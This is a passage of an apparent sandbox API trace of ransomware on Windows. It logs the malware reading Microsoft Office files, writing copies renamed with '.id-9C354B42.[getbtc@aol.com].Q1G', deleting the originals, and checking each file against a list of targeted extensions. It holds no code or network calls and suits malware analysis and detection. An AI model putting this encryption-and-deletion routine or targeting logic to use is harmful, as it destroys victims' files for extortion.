[0253.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.470] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.471] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.471] GetLastError () returned 0x0 [0253.471] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0253.472] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.473] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.473] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x100, lpOverlapped=0x0) returned 1 [0253.473] SetEndOfFile (hFile=0x3b8) returned 1 [0253.473] CloseHandle (hObject=0x3b8) returned 1 [0253.473] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.473] SetEndOfFile (hFile=0x3a0) returned 1 [0253.476] CloseHandle (hObject=0x3a0) returned 1 [0253.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_f_col.hxk")) returned 1 [0253.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.477] lstrlenW (lpString=".doc") returned 4 [0253.477] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.477] lstrlenW (lpString=".docx") returned 5 [0253.477] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.477] lstrlenW (lpString=".pdf") returned 4 [0253.477] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.477] lstrlenW (lpString=".xls") returned 4 [0253.477] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.477] lstrlenW (lpString=".xlsx") returned 5 [0253.477] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.477] lstrlenW (lpString=".ppt") returned 4 [0253.477] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.477] lstrlenW (lpString=".zip") returned 4 [0253.477] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.477] lstrlenW (lpString=".rar") returned 4 [0253.477] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.477] lstrlenW (lpString=".bz2") returned 4 [0253.477] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.477] lstrlenW (lpString=".7z") returned 3 [0253.477] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.477] lstrlenW (lpString=".dbf") returned 4 [0253.477] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.477] lstrlenW (lpString=".1cd") returned 4 [0253.477] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.477] lstrlenW (lpString=".jpg") returned 4 [0253.477] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.478] lstrlenW (lpString=".doc") returned 4 [0253.478] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.478] lstrlenW (lpString=".docx") returned 5 [0253.478] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.478] lstrlenW (lpString=".pdf") returned 4 [0253.478] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.478] lstrlenW (lpString=".xls") returned 4 [0253.478] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.478] lstrlenW (lpString=".xlsx") returned 5 [0253.478] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.478] lstrlenW (lpString=".ppt") returned 4 [0253.478] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.478] lstrlenW (lpString=".zip") returned 4 [0253.478] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.478] lstrlenW (lpString=".rar") returned 4 [0253.478] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.478] lstrlenW (lpString=".bz2") returned 4 [0253.478] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.478] lstrlenW (lpString=".7z") returned 3 [0253.478] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.478] lstrlenW (lpString=".dbf") returned 4 [0253.478] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.478] lstrlenW (lpString=".1cd") returned 4 [0253.478] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_F_COL.HXK") returned 70 [0253.478] lstrlenW (lpString=".jpg") returned 4 [0253.478] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.479] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.479] lstrlenW (lpString="POWERPNT.DEV_K_COL.HXK") returned 22 [0253.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.479] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0253.479] CloseHandle (hObject=0x3a0) returned 1 [0253.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 0x20 [0253.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.480] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.480] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.480] GetLastError () returned 0x0 [0253.480] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0253.481] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.482] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.482] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x100, lpOverlapped=0x0) returned 1 [0253.482] SetEndOfFile (hFile=0x3b8) returned 1 [0253.482] CloseHandle (hObject=0x3b8) returned 1 [0253.482] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.482] SetEndOfFile (hFile=0x3a0) returned 1 [0253.486] CloseHandle (hObject=0x3a0) returned 1 [0253.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_k_col.hxk")) returned 1 [0253.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.487] lstrlenW (lpString=".doc") returned 4 [0253.487] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.487] lstrlenW (lpString=".docx") returned 5 [0253.487] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.487] lstrlenW (lpString=".pdf") returned 4 [0253.487] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.487] lstrlenW (lpString=".xls") returned 4 [0253.487] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString=".xlsx") returned 5 [0253.488] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.488] lstrlenW (lpString=".ppt") returned 4 [0253.488] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.488] lstrlenW (lpString=".zip") returned 4 [0253.488] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString=".rar") returned 4 [0253.488] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString=".bz2") returned 4 [0253.488] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.488] lstrlenW (lpString=".7z") returned 3 [0253.488] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.488] lstrlenW (lpString=".dbf") returned 4 [0253.488] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.488] lstrlenW (lpString=".1cd") returned 4 [0253.488] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.488] lstrlenW (lpString=".jpg") returned 4 [0253.488] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.488] lstrlenW (lpString=".doc") returned 4 [0253.488] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.488] lstrlenW (lpString=".docx") returned 5 [0253.488] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.488] lstrlenW (lpString=".pdf") returned 4 [0253.488] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString=".xls") returned 4 [0253.488] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.488] lstrlenW (lpString=".xlsx") returned 5 [0253.488] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.488] lstrlenW (lpString=".ppt") returned 4 [0253.488] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.489] lstrlenW (lpString=".zip") returned 4 [0253.489] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.489] lstrlenW (lpString=".rar") returned 4 [0253.489] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.489] lstrlenW (lpString=".bz2") returned 4 [0253.489] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.489] lstrlenW (lpString=".7z") returned 3 [0253.489] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.489] lstrlenW (lpString=".dbf") returned 4 [0253.489] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.489] lstrlenW (lpString=".1cd") returned 4 [0253.489] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_K_COL.HXK") returned 70 [0253.489] lstrlenW (lpString=".jpg") returned 4 [0253.489] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.489] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0253.489] lstrlenW (lpString="POWERPNT.HXS") returned 12 [0253.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.622] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=6816061) returned 1 [0253.622] CloseHandle (hObject=0x388) returned 1 [0253.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs")) returned 0x20 [0253.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.688] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0253.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.689] lstrlenW (lpString=".doc") returned 4 [0253.689] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0253.689] lstrlenW (lpString=".docx") returned 5 [0253.689] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0253.689] lstrlenW (lpString=".pdf") returned 4 [0253.689] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0253.689] lstrlenW (lpString=".xls") returned 4 [0253.689] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0253.689] lstrlenW (lpString=".xlsx") returned 5 [0253.689] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0253.689] lstrlenW (lpString=".ppt") returned 4 [0253.689] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0253.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.689] lstrlenW (lpString=".zip") returned 4 [0253.689] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0253.689] lstrlenW (lpString=".rar") returned 4 [0253.689] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0253.689] lstrlenW (lpString=".bz2") returned 4 [0253.689] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0253.689] lstrlenW (lpString=".7z") returned 3 [0253.689] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0253.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.689] lstrlenW (lpString=".dbf") returned 4 [0253.690] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString=".1cd") returned 4 [0253.690] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString=".jpg") returned 4 [0253.690] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString=".doc") returned 4 [0253.690] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0253.690] lstrlenW (lpString=".docx") returned 5 [0253.690] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1 [0253.690] lstrlenW (lpString=".pdf") returned 4 [0253.690] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0253.690] lstrlenW (lpString=".xls") returned 4 [0253.690] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0253.690] lstrlenW (lpString=".xlsx") returned 5 [0253.690] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1 [0253.690] lstrlenW (lpString=".ppt") returned 4 [0253.690] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString=".zip") returned 4 [0253.690] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0253.690] lstrlenW (lpString=".rar") returned 4 [0253.690] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0253.690] lstrlenW (lpString=".bz2") returned 4 [0253.690] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0253.690] lstrlenW (lpString=".7z") returned 3 [0253.690] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString=".dbf") returned 4 [0253.690] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0253.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.690] lstrlenW (lpString=".1cd") returned 4 [0253.691] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0253.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS") returned 60 [0253.691] lstrlenW (lpString=".jpg") returned 4 [0253.691] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0253.691] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0253.691] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0253.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.728] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=137096) returned 1 [0253.729] CloseHandle (hObject=0x3ac) returned 1 [0253.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl")) returned 0x20 [0253.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.736] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.736] GetLastError () returned 0x0 [0253.736] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x21788, lpOverlapped=0x0) returned 1 [0253.741] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x21790, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x21790, lpOverlapped=0x0) returned 1 [0253.745] ReadFile (in: hFile=0x390, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.745] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0253.746] SetEndOfFile (hFile=0x3ac) returned 1 [0253.746] CloseHandle (hObject=0x3ac) returned 1 [0253.746] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.746] SetEndOfFile (hFile=0x390) returned 1 [0253.749] CloseHandle (hObject=0x390) returned 1 [0253.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.750] 